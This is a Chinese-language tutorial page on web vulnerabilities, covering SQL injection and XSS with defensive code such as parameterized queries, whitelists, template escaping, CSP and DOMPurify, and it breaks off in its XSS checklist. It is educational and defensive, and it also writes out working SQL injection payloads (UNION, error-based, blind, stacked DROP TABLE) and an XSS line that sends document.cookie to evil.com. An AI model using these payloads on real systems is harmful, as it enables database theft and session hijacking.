ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Web安全漏洞入门:SQL注入、XSS与文件上传原理及防御方法详解

Web安全漏洞入门:SQL注入、XSS与文件上传原理及防御方法详解 引言三个十年不倒的老漏洞翻开任何一版 OWASP Top 10注入类漏洞Injection和跨站脚本XSS几乎从未缺席而文件上传漏洞虽然不总是独立成项却是无数 CMS、OA、电商后台从一个上传点直接走向服务器沦陷的起点。很多初学者会问这些漏洞讲了二十年框架也进化了这么多代为什么还在打答案并不复杂——漏洞的根源不在技术栈的新旧而在于开发者是否守住了数据与代码的边界。这三个漏洞共享同一条底层逻辑漏洞用户输入被误当作越权后果SQL 注入SQL 语句的一部分拖库、改库、提权XSSHTML / JavaScript 代码窃取 Cookie、会话劫持、钓鱼文件上传可被服务器执行的脚本GetShell、内网横向本文从原理出发逐层拆解这三类漏洞的成因、典型攻击链和工程化防御方案并给出可直接落地的代码与配置。安全声明本文所有攻击示例仅用于安全学习、代码审计与授权测试。未经授权对他人系统进行扫描、利用或破坏均属于违法行为。请务必在获得书面授权的靶场或测试环境中验证。从工程视角看这三个漏洞还有一个共同点它们都不是某个函数用错了而是信任边界设计失败。开发者把来自 HTTP 请求的数据直接送进了另一个解析器——数据库解析器、浏览器 HTML 解析器、服务器脚本解析器。防御的核心就是让数据在跨越边界时被正确编码、约束或隔离。理解这一点比记住几个 payload 重要得多。一、SQL 注入当字符串拼接撕裂了数据边界1.1 核心原理SQL 注入的本质是解析器层面的混淆。数据库在收到一条语句时需要先做词法分析和语法分析区分哪部分是语法结构代码哪部分是数据字面量。如果后端用字符串拼接构造 SQLsqlSELECT * FROM users WHERE username username那么当username为admin OR 11时最终语句变成SELECT*FROMusersWHEREusernameadminOR11OR 11是恒真条件攻击者无需密码即可登录。问题不在于单引号被输入而在于单引号从数据跃迁成了语法符号。更底层地看数据库处理一条 SQL 大致经历以下阶段词法分析把字符串切成 token例如SELECT、FROM、admin、OR、11语法分析根据语法规则构建抽象语法树AST语义分析与权限检查确认表、列、函数是否存在当前账号是否有权限生成执行计划决定走哪个索引、如何 join执行并返回结果。字符串拼接的危险在于用户输入在词法分析之前就混入了 SQL 文本因此它可能生成新的 token甚至改变 AST 的结构。而参数化查询预编译的做法是先发送带占位符的 SQL 模板让数据库完成词法、语法分析和执行计划生成之后再把参数作为纯数据绑定进去。此时参数无论包含单引号、注释符还是UNION都只能作为字符串值存在无法参与语法结构。可以用一个类比理解参数化查询相当于先把模具做好再往模具里倒材料字符串拼接相当于把材料和模具说明书混在一起让机器自己猜哪里是模具、哪里是材料。1.2 常见注入手法联合查询注入 UNION SELECT username, password FROM users --直接把其他表的数据拼进结果集。报错注入利用extractvalue()、updatexml()等函数在错误信息中回显数据MySQL。布尔盲注 / 时间盲注页面不回显时用AND SUBSTRING(...)a或SLEEP(5)逐字符推断。堆叠查询; DROP TABLE users; --是否成功取决于驱动是否允许多语句。下面补充每种手法的实战判断细节这些细节在真实渗透和代码审计中非常关键。联合查询注入的第一步通常是判断列数。可以用ORDER BY n递增直到页面报错说明列数小于 n也可以用UNION SELECT 1,2,3...逐步对齐。确定列数后还要判断哪一列会回显到页面。例如-- 假设原查询返回 3 列且第 2、3 列会显示在页面上 UNION SELECT 1, database(), user() -- UNIONSELECT1,table_name,column_nameFROMinformation_schema.columnsWHEREtable_schemadatabase()--如果目标数据库是 MySQLinformation_schema是拖库的地图如果是 SQL Server则常用sysobjects、syscolumnsOracle 则常用all_tables、all_tab_columns。不同数据库的元数据表不同这也是注入利用需要先指纹识别的原因。报错注入适用于页面不回显数据、但会回显数据库错误的情况。MySQL 中常见 payload AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) -- ANDupdatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)--0x7e是~用于在错误信息中标记数据边界方便提取。需要注意的是报错注入通常有长度限制提取长数据时要配合SUBSTRING()分段读取。布尔盲注适用于页面既不回显数据也不回显错误但真/假条件会导致页面内容有细微差异。例如 AND SUBSTRING((SELECT database()), 1, 1) a--攻击者可以逐字符判断。为了加速可以用二分法ASCII(SUBSTRING(...)) 100把 26 个字母的猜测压缩到 7 次以内。时间盲注则是在布尔盲注基础上加入SLEEP(5) AND IF(SUBSTRING((SELECT database()), 1, 1) a,SLEEP(5),0)--如果页面响应延迟约 5 秒说明条件为真。时间盲注对网络稳定性要求较高通常需要多次验证但它的隐蔽性很强因为页面内容可能完全正常只有响应时间变化。堆叠查询能否成功取决于数据库驱动和连接配置。例如 PHP 的mysqli_query()默认不支持多语句但mysqli_multi_query()支持PDO 默认也不支持多语句除非设置PDO::MYSQL_ATTR_MULTI_STATEMENTS。因此; DROP TABLE users; --并非在所有环境下都能执行。但一旦支持危害极大因为攻击者可以执行任意 SQL 语句。此外还有二次注入恶意数据先被存入数据库之后在另一个 SQL 语句中被取出并拼接导致注入。例如用户注册时用户名存为admin--后续修改密码时后端拼接UPDATE users SET passwordxxx WHERE usernameadmin--就可能篡改管理员密码。二次注入的防御同样依赖参数化查询而不是在输入口做一次性过滤。1.3 正确写法参数化查询# ❌ 危险字符串拼接deflogin_bad(conn,username,password):curconn.cursor()sqlfSELECT id, username FROM users WHERE username{username} AND password{password}cur.execute(sql)# 注入点returncur.fetchone()# ✅ 安全参数化查询预编译deflogin_safe(conn,username,password):curconn.cursor()sqlSELECT id, username FROM users WHERE username ? AND password ?cur.execute(sql,(username,password))# 参数作为纯数据绑定returncur.fetchone()关键点参数化查询的占位符只能替代值不能替代表名、列名、ORDER BY方向、LIMIT之外的语法结构。数据库会先把带占位符的语句编译成执行计划再把参数作为纯数据填入数据永远无法越界变成语法。那ORDER BY怎么办只能走白名单映射ALLOWED_SORT{created_at:created_at,score:score,username:username,}deflist_users(conn,sort_key,order):colALLOWED_SORT.get(sort_key)# 非法值 → NoneifcolisNone:raiseValueError(invalid sort key)directionASCiforder.lower()ascelseDESCsqlfSELECT id, username FROM users ORDER BY{col}{direction}returnconn.execute(sql).fetchall()这里拼接的是经过白名单收敛的枚举值而非用户原始输入因此是安全的。在真实项目中还有一些参数化查询的细节容易踩坑LIKE 查询占位符可以用于 LIKE但通配符%和_应由业务代码决定是否添加而不是让用户输入直接拼接。例如# 安全参数值内部可以包含 %keywordf%{user_input}%cur.execute(SELECT id, title FROM articles WHERE title LIKE ?,(keyword,))如果用户输入本身包含%它只会作为普通字符被匹配不会改变 SQL 结构。但如果你希望用户输入中的%不被当作通配符需要显式转义例如把%替换为\%并指定ESCAPE \。IN 子句不能直接写WHERE id IN (?)并传入列表因为占位符数量必须与值数量匹配。正确做法是根据列表长度动态生成占位符ids[1,2,3]placeholders,.join([?]*len(ids))sqlfSELECT id, name FROM users WHERE id IN ({placeholders})cur.execute(sql,ids)这里动态生成的是占位符本身不是用户数据因此安全。表名、列名、排序方向这些属于 SQL 语法结构参数化查询无法覆盖。必须使用白名单映射绝不能直接拼接用户输入。很多 ORM 的order_by()方法如果接受原始字符串也可能成为注入点使用前要查阅文档确认是否经过白名单处理。1.4 防御纵深参数化查询首选从根上消除ORM 不等于安全SQLAlchemy 的text()、Django 的extra()/raw()若做字符串拼接同样可注入最小权限Web 应用连接数据库的账号不应有FILE、DROP、跨库读写权限避免注入升级为拖库或写马统一错误处理关闭详细报错回显防止报错注入WAF / RASP作为兜底而非第一道防线。对以上五点再展开一些实战建议ORM 不等于安全。很多开发者认为用了 ORM 就万事大吉但实际上 ORM 只是提供了参数化的能力并不强制你使用。例如 SQLAlchemy# ❌ 危险text() 中拼接fromsqlalchemyimporttext sqltext(fSELECT * FROM users WHERE username {username})session.execute(sql)# ✅ 安全text() 中使用绑定参数sqltext(SELECT * FROM users WHERE username :username)session.execute(sql,{username:username})Django 中# ❌ 危险raw() 拼接User.objects.raw(fSELECT * FROM users WHERE username {username})# ✅ 安全raw() 使用参数User.objects.raw(SELECT * FROM users WHERE username %s,[username])最小权限是数据库层面的最后一道闸门。假设注入已经发生如果 Web 账号只有SELECT、INSERT、UPDATE、DELETE权限攻击者就无法通过INTO OUTFILE写 WebShell也无法DROP TABLE。生产环境中建议为每个应用创建独立数据库账号只授予其所需库表的必要权限并禁止FILE、PROCESS、SUPER等高危权限。统一错误处理。很多注入利用依赖报错回显。生产环境应关闭display_errors统一返回通用错误页并将详细错误写入日志。这样报错注入就失去了回显通道只能退化为盲注攻击成本大幅提高。WAF / RASP能拦截大量已知 payload但攻击者可以通过编码、分块、注释混淆等方式绕过 WAF。因此 WAF 只能作为纵深防御的一层不能替代参数化查询。RASP 运行在应用内部能更准确地识别危险调用但同样可能被绕过且对性能有影响。1.5 常见误区与 FAQQ1对单引号做转义能不能防住 SQL 注入不能完全防住。转义单引号只在特定数据库、特定字符集下有效而且容易遗漏数字型注入、宽字节注入、二次注入等场景。例如 GBK 编码下%df%27可能绕过addslashes()。参数化查询才是根本方案。Q2用了 PDO 就安全了吗不一定。如果使用PDO::ATTR_EMULATE_PREPARES true某些版本的默认值PDO 会在客户端模拟预编译仍然可能因为字符集问题产生注入。建议显式设置PDO::ATTR_EMULATE_PREPARES false使用数据库原生预编译。Q3为什么ORDER BY ?不起作用因为占位符只能替代值不能替代列名或排序方向。ORDER BY ?会被数据库当作按常量排序而不是按列排序。必须使用白名单映射。Q4存储过程能防注入吗如果存储过程内部使用动态 SQL 拼接同样会注入。安全的存储过程应使用参数化查询并避免EXECUTE IMMEDIATE拼接用户输入。Q5如何快速发现代码中的 SQL 注入点搜索字符串拼接 SQL 的关键词如execute(、query(、raw(、extra(、text(、fSELECT、 SELECT等然后检查是否使用参数化。代码审计时重点看用户输入是否直接进入 SQL 文本。二、XSS浏览器把数据当成了代码2.1 三种类型反射型?qscript.../script被服务端原样回显在 HTML 中通常配合钓鱼链接。存储型恶意内容被存进数据库评论、昵称、工单所有访问者中招危害最大。DOM 型服务端完全不参与前端 JS 直接把location.hash写进innerHTML。存储型 XSS 的典型场景是留言板、评论、用户昵称、工单系统、客服聊天记录。攻击者提交一条包含恶意脚本的评论脚本被存入数据库之后任何访问该页面的用户浏览器都会执行这段脚本。由于脚本来自可信的站内数据服务端可能完全不做输出编码因此存储型 XSS 的触发率极高。一个真实的攻击链是攻击者在电商平台的商品评价中提交scriptfetch(https://evil.com/steal?cdocument.cookie)/script。当其他用户浏览评价时脚本执行把当前用户的 Cookie 发送到攻击者服务器。如果该 Cookie 没有设置HttpOnly攻击者就能直接盗取会话冒充用户登录。即使设置了HttpOnly攻击者仍可以用 XSS 发起 CSRF、篡改页面、钓鱼、挖矿危害依然严重。反射型 XSS 常见于搜索框、错误提示、跳转参数。例如搜索页面把q参数原样回显“您搜索的是”。攻击者构造一个恶意链接诱导用户点击。由于脚本来自当前域名浏览器无法区分这是用户输入还是网站代码。DOM 型 XSS 的特点是服务端返回的 HTML 完全正常恶意数据只在浏览器端被 JavaScript 写入危险位置。例如consthashlocation.hash.substring(1);document.getElementById(content).innerHTMLhash;攻击者构造https://example.com/#img srcx onerroralert(1)浏览器加载页面后前端 JS 把 hash 内容写入innerHTML触发 XSS。这种漏洞用服务端 WAF 很难发现因为请求中可能根本没有恶意内容到达服务端。2.2 原理输出上下文决定一切XSS 的根因是输出编码缺失。同一段数据落在不同上下文里需要的编码方式完全不同输出位置需要的处理HTML 文本节点HTML 实体编码HTML 属性值属性编码 强制加引号script内JavaScript 字符串编码禁止/scriptURL 参数URL 编码CSSCSS 编码禁止expression()用一套过滤script的方案去覆盖所有上下文必然漏。除了上述常见上下文还有几个容易被忽略的位置HTML 注释!-- 用户输入 --如果用户输入包含--可能提前闭合注释插入脚本。style标签内用户输入如果进入 CSS可能通过background:url(javascript:...)或expression()触发旧版 IE。事件属性button onclickdoSomething(用户输入)如果用户输入包含单引号可以闭合字符串并插入代码。script中的 JSONvar data {name: 用户输入};如果用户输入包含/script可以提前闭合脚本标签插入新的script。URL 的href/srca href用户输入如果用户输入是javascript:alert(1)点击链接即执行。因此现代防御强调上下文感知的输出编码。模板引擎的自动转义之所以有效是因为它知道当前输出位置是 HTML 文本、属性还是 JavaScript并应用对应的编码规则。2.3 代码对比# ❌ 危险手工拼接模板未做任何转义fromflaskimportFlask,request appFlask(__name__)app.route(/hello)defhello_bad():namerequest.args.get(name,)returnfh1Hello,{name}!/h1# 传入 img srcx onerroralert(1) 即触发# ✅ 安全使用自动转义模板引擎 正确响应头fromflaskimportrender_template,make_responseimportsecretsapp.route(/hello_safe)defhello_safe():namerequest.args.get(name,)noncesecrets.token_urlsafe(16)respmake_response(render_template(hello.html,namename,noncenonce))resp.headers[Content-Security-Policy](fdefault-src self; script-src self nonce-{nonce}; object-src none; base-uri self)resp.headers[X-Content-Type-Options]nosniffresp.set_cookie(session,xxx,httponlyTrue,samesiteLax,secureTrue)returnresp配套的hello.htmlJinja2 默认对.html模板开启自动转义h1Hello, {{ name }}!/h1{# 自动 HTML 实体编码 #}scriptnonce{{ nonce }}constuser{{name|tojson}};// 注入 JS 上下文时用 tojson而不是裸插值/script| safe、Markup()、v-html、React 的dangerouslySetInnerHTML都是主动关闭转义的开关用之前必须经过净化。Jinja2 的自动转义规则是对于.html、.htm、.xml等模板默认对变量输出进行 HTML 实体编码把变成lt;、变成gt;、变成amp;、变成#34;、变成#39;。这样即使用户输入scriptalert(1)/script浏览器看到的也只是文本而不是脚本标签。但自动转义只覆盖 HTML 文本上下文。如果变量落在script标签内HTML 实体编码并不能阻止/script闭合标签。因此 Jinja2 提供了|tojson过滤器它会把 Python 对象序列化为 JSON并对、、、等字符进行转义确保输出可以安全嵌入 JavaScript。类似地如果变量要放入 URL应使用|urlencode放入 CSS应使用|cssescape。在 React 中JSX 默认对文本内容进行转义因此{userInput}是安全的。但dangerouslySetInnerHTML{{__html: userInput}}会关闭转义必须配合 DOMPurify 等净化库。Vue 中{{ userInput }}是安全的v-html是危险的。Angular 默认对插值进行转义[innerHTML]会经过 Sanitizer但某些场景仍可能被绕过。2.4 DOM 型 XSS 与前端防御// ❌ 危险constqnewURLSearchParams(location.search).get(q);document.getElementById(result).innerHTMLq;// ✅ 安全优先用 textContentdocument.getElementById(result).textContentq;// 若必须渲染富文本先净化importDOMPurifyfromdompurify;el.innerHTMLDOMPurify.sanitize(userHtml,{ALLOWED_TAGS:[b,i,a,p]});在前端框架中还要注意以下危险 APIelement.innerHTML、outerHTML、insertAdjacentHTMLdocument.write、document.writelneval、setTimeout(string)、setInterval(string)、Function(string)location.href userInput如果userInput是javascript:协议element.setAttribute(onclick, userInput)jQuery 的$(userInput)、.html(userInput)、.append(userInput)。如果必须把用户输入放入 URL应校验协议白名单functionsafeUrl(url){try{constunewURL(url,location.origin);if([http:,https:].includes(u.protocol)){returnu.href;}}catch(e){}return#;}对于富文本推荐使用 DOMPurify并采用白名单策略。黑名单过滤例如只删除script永远会漏因为 HTML 的解析规则非常复杂攻击者可以利用大小写、注释、畸形标签、命名空间等方式绕过。白名单则只允许已知安全的标签和属性例如b、i、a href、p并限制href协议为http、https、mailto。2.5 防御清单更多硬核网安与AI工具包请扫码获取完整源码上下文感知的输出编码模板引擎自动转义是性价比最高的一招2.CSPscript-src self nonce-xxx能阻断绝大多数内联脚本执行是 XSS 的最后一道闸门3.Cookie 加固HttpOnly阻止 JS 读取会话SameSiteLax/Strict
返回列表